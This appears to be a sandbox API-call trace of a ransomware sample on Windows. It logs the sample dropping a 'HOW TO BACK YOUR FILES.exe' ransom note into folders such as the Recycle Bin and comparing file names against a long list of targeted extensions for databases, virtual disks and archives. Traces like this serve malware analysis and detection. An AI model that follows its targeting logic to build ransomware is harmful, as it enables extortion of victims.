	[0079.282] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0xffffffff
	[0079.282] GetLastError () returned 0x5
	[0079.282] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Documents and Settings\\* FindFirstFile error 5\r\n") returned 59
	[0079.282] lstrlenA (lpString="[ERROR] C:\\Documents and Settings\\* FindFirstFile error 5\r\n") returned 59
	[0079.282] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0079.282] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4751
	[0079.282] WriteFile (in: hFile=0x150, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3b, lpOverlapped=0x0) returned 1
	[0079.296] CloseHandle (hObject=0x150) returned 1
	[0079.296] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7850
	[0079.296] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Config.Msi", iMaxLength=260 | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi"
	[0079.296] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5978f8 | out: hHeap=0x580000) returned 1
	[0079.296] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7848 | out: hHeap=0x580000) returned 1
	[0079.296] lstrlenW (lpString="C:\\Config.Msi") returned 13
	[0079.296] lstrcatW (in: lpString1="", lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi"
	[0079.296] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.296] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Config.Msi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\config.msi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0079.300] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.300] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x47576110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x47576110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca010
	[0079.300] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.300] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.300] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.300] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x47576110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x47576110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.301] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.301] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.301] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.301] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.301] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47576110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x47576110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.301] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.301] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47576110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x47576110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0079.301] FindClose (in: hFindFile=0x5ca010 | out: hFindFile=0x5ca010) returned 1
	[0079.301] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7670
	[0079.301] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\$Recycle.Bin", iMaxLength=260 | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin"
	[0079.301] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597858 | out: hHeap=0x580000) returned 1
	[0079.301] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7668 | out: hHeap=0x580000) returned 1
	[0079.301] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0079.301] lstrcatW (in: lpString1="", lpString2="C:\\$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin"
	[0079.301] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.301] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\$Recycle.Bin\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\$recycle.bin\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0079.307] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.307] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x47576110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x47576110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca010
	[0079.307] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.307] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.307] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.307] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x47576110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x47576110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.307] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.307] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.307] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.307] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.307] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47576110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x47576110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.307] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.307] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="Apollon865.txt.exe") returned 1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2=".") returned 1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="..") returned 1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="windows") returned -1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="bootmgr") returned 1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="temp") returned -1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="pagefile.sys") returned 1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="boot") returned 1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="ids.txt") returned 1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="ntuser.dat") returned 1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="perflogs") returned 1
	[0079.307] lstrcmpiW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="MSBuild") returned 1
	[0079.307] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46
	[0079.307] lstrlenW (lpString="C:\\$Recycle.Bin\\*") returned 17
	[0079.307] lstrcpyW (in: lpString1=0x2d3e570, lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000" | out: lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000") returned="S-1-5-21-3388679973-3930757225-3770151564-1000"
	[0079.308] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7668
	[0079.308] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf4e0
	[0079.308] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7670 | out: ListHead=0x5b76b0, ListEntry=0x5b7670) returned 0x0
	[0079.308] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0079.308] FindClose (in: hFindFile=0x5ca010 | out: hFindFile=0x5ca010) returned 1
	[0079.308] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7670
	[0079.308] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", iMaxLength=260 | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000"
	[0079.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0079.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7668 | out: hHeap=0x580000) returned 1
	[0079.308] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0079.308] lstrcatW (in: lpString1="", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000" | out: lpString1="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000"
	[0079.308] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.308] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0079.312] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.312] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x47576110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x47576110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca010
	[0079.312] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.312] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.312] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.312] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x47576110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x47576110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.312] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.312] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.312] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.312] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.313] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0079.313] lstrlenW (lpString="desktop.ini") returned 11
	[0079.313] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*") returned 64
	[0079.313] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0079.313] lstrlenW (lpString="desktop.ini") returned 11
	[0079.313] lstrlenW (lpString="Apollon865") returned 10
	[0079.313] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0079.313] lstrlenW (lpString=".dll") returned 4
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0079.313] lstrlenW (lpString=".lnk") returned 4
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0079.313] lstrlenW (lpString=".ini") returned 4
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0079.313] lstrlenW (lpString=".sys") returned 4
	[0079.313] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0079.313] lstrlenW (lpString="desktop.ini") returned 11
	[0079.313] lstrlenW (lpString="bak") returned 3
	[0079.313] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0079.313] lstrlenW (lpString="ba_") returned 3
	[0079.313] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0079.313] lstrlenW (lpString="dbb") returned 3
	[0079.313] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0079.313] lstrlenW (lpString="vmdk") returned 4
	[0079.313] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0079.313] lstrlenW (lpString="rar") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0079.314] lstrlenW (lpString="zip") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0079.314] lstrlenW (lpString="tgz") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0079.314] lstrlenW (lpString="vbox") returned 4
	[0079.314] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0079.314] lstrlenW (lpString="vdi") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0079.314] lstrlenW (lpString="vhd") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0079.314] lstrlenW (lpString="vhdx") returned 4
	[0079.314] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0079.314] lstrlenW (lpString="avhd") returned 4
	[0079.314] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0079.314] lstrlenW (lpString="db") returned 2
	[0079.314] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0079.314] lstrlenW (lpString="db2") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0079.314] lstrlenW (lpString="db3") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0079.314] lstrlenW (lpString="dbf") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0079.314] lstrlenW (lpString="mdf") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0079.314] lstrlenW (lpString="mdb") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0079.314] lstrlenW (lpString="sql") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0079.314] lstrlenW (lpString="sqlite") returned 6
	[0079.314] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0079.314] lstrlenW (lpString="sqlite3") returned 7
	[0079.314] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0079.314] lstrlenW (lpString="sqlitedb") returned 8
	[0079.314] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0079.314] lstrlenW (lpString="xml") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0079.314] lstrlenW (lpString="$er") returned 3
	[0079.314] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0079.315] lstrlenW (lpString="4dd") returned 3
	[0079.315] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0079.315] lstrlenW (lpString="4dl") returned 3
	[0079.315] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0079.315] lstrlenW (lpString="^^^") returned 3
	[0079.315] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0079.315] lstrlenW (lpString="abs") returned 3
	[0079.315] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0079.315] lstrlenW (lpString="abx") returned 3
	[0079.315] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0079.315] lstrlenW (lpString="accdb") returned 5
	[0079.315] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0079.315] lstrlenW (lpString="accdc") returned 5
	[0079.315] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0079.315] lstrlenW (lpString="accde") returned 5
	[0079.315] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0079.315] lstrlenW (lpString="accdr") returned 5
	[0079.315] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0079.315] lstrlenW (lpString="accdt") returned 5
	[0079.315] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0079.315] lstrlenW (lpString="accdw") returned 5
	[0079.315] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0079.315] lstrlenW (lpString="accft") returned 5
	[0079.315] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0079.315] lstrlenW (lpString="adb") returned 3
	[0079.315] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0079.315] lstrlenW (lpString="adb") returned 3
	[0079.315] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0079.315] lstrlenW (lpString="ade") returned 3
	[0079.315] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0079.315] lstrlenW (lpString="adf") returned 3
	[0079.315] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0079.315] lstrlenW (lpString="adn") returned 3
	[0079.315] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0079.315] lstrlenW (lpString="adp") returned 3
	[0079.315] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0079.315] lstrlenW (lpString="alf") returned 3
	[0079.315] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0079.315] lstrlenW (lpString="ask") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0079.316] lstrlenW (lpString="btr") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0079.316] lstrlenW (lpString="cat") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0079.316] lstrlenW (lpString="cdb") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0079.316] lstrlenW (lpString="ckp") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0079.316] lstrlenW (lpString="cma") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0079.316] lstrlenW (lpString="cpd") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0079.316] lstrlenW (lpString="dacpac") returned 6
	[0079.316] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0079.316] lstrlenW (lpString="dad") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0079.316] lstrlenW (lpString="dadiagrams") returned 10
	[0079.316] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0079.316] lstrlenW (lpString="daschema") returned 8
	[0079.316] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0079.316] lstrlenW (lpString="db-journal") returned 10
	[0079.316] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0079.316] lstrlenW (lpString="db-shm") returned 6
	[0079.316] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0079.316] lstrlenW (lpString="db-wal") returned 6
	[0079.316] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0079.316] lstrlenW (lpString="dbc") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0079.316] lstrlenW (lpString="dbs") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0079.316] lstrlenW (lpString="dbt") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0079.316] lstrlenW (lpString="dbv") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0079.316] lstrlenW (lpString="dbx") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0079.316] lstrlenW (lpString="dcb") returned 3
	[0079.316] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
